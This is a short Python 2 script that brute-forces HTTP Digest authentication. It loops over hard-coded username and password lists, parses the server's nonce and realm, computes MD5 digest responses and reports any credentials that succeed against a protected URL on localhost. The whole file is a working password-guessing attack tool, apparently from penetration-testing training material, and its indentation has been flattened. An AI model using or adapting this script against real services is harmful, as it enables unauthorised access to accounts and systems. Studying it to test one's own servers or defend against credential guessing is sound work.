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DigestAuth.py
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DigestAuth.py
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import hashlib
import requests
users=['administrator', 'admin']
passwords=['administrator', 'admin123','admin']
protectedResource = 'http://localhost/digest-secured/'
URI='/digest-secured/'
method = 'GET'
'''
WWW-Authenticate: Digest realm="DigestRealm", nonce="bR+nKFDnBAA=ac38ed61b3b19beaf58b8a5817eefc3407ef1864", algorithm=MD5, qop="auth"
'Digest realm="DigestRealm", nonce="k2VOehPnBAA=285c96851e78f431acc1153139a74d6cdb5cdea7", algorithm=MD5, qop="auth"'
'''
foundPass = False
headers={}
for user in users:
if foundPass:
break
for passwd in passwords:
digestRealm = ''
nonce = ''
nc = '00000001'
cnonce = '9876c92649472cb2' #16 bytes aleatorios.
qop = ''
res = requests.get(protectedResource,headers=headers)
if res.status_code == 401:
print 'Header from the server '+res.headers['www-authenticate']
listHeaders = res.headers['www-authenticate'].split(',')
for option in listHeaders:
if "digest realm" in option.lower():
digestRealm = option.split('=')[1].replace('"', '')
if "nonce" in option.lower():
nonce = option.split('=',1)[1].replace('"', '')
if "qop" in option.lower():
qop = option.split('=',1)[1].replace('"', '')
hash1 = hashlib.md5(user+":"+digestRealm+":"+passwd).hexdigest()
hash2 = hashlib.md5(method+":"+URI).hexdigest()
response = hashlib.md5("%s:%s:%s:%s:%s:%s" %(hash1,nonce,nc,cnonce,qop,hash2)).hexdigest()
headersDigest = {'Authorization':' Digest username="'+user+'", realm="'+digestRealm+'", nonce="'+nonce+'", uri="'+URI+'", response="'+response+'", algorithm=MD5, qop='+qop+', nc='+nc+', cnonce="'+cnonce+'"' }
resDigest = requests.get(protectedResource,headers=headersDigest)
if resDigest.status_code == 200:
print 'User Found...'
print 'User: '+user+' Pass: '+passwd
foundPass = True